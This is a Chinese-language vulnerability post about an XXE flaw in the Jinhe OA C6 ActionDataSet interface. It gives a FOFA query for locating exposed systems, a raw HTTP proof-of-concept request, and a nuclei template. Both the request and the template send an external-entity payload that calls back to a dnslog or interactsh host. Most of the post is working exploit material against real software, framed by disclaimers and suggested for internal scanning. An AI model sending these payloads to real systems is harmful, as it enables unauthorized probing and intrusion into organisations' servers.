金和OA-C6系统ActionDataSet接口XXE

免责声明

       请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。

漏洞描述：

金和OA C6系统ActionDataSet接口存在XXE漏洞，应用程序在解析XML数据时，没有正确验证或限制实体引用，攻击者就可以通过构造恶意的XML输入，将外部实体引用进来，从而执行恶意操作。

影响版本：

金和OA C6

FOFA:

app="金和网络-金和OA"

POC：

POST /jc6/servlet/ActionDataSet HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Content-Type: application/xml
Accept-Language: zh-CN,zh;q=0.9
Connection: close
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://dnslog"> %remote;]>

通过dnslog日志判断是否存在漏洞

nuclei模板：

id: jhoa-c6-xxe-vulnerability

info:
  name: 金和OA-C6系统ActionDataSet接口XXE漏洞
  author: ProjectDiscoveryAI
  severity: high
  description: |
    This template checks for an XXE vulnerability in the 金和OA-C6系统ActionDataSet接口.
    The vulnerability is triggered by submitting a malicious XML payload to the ActionDataSet interface.
    If the server processes the payload, it will trigger an external entity reference.
  tags: xxe, oast, dast

http:
  - raw:
      - |
        POST /jc6/servlet/ActionDataSet HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36
        Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
        Accept-Encoding: gzip, deflate
        Content-Type: application/xml
        Accept-Language: zh-CN,zh;q=0.9
        Connection: close

        <?xml version="1.0" encoding="UTF-8"?>
        <!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://{{interactsh-url}}"> %remote;]>

    stop-at-first-match: true
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

使用nuclei模板快速排查内部系统是否存在安全隐患

——–

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。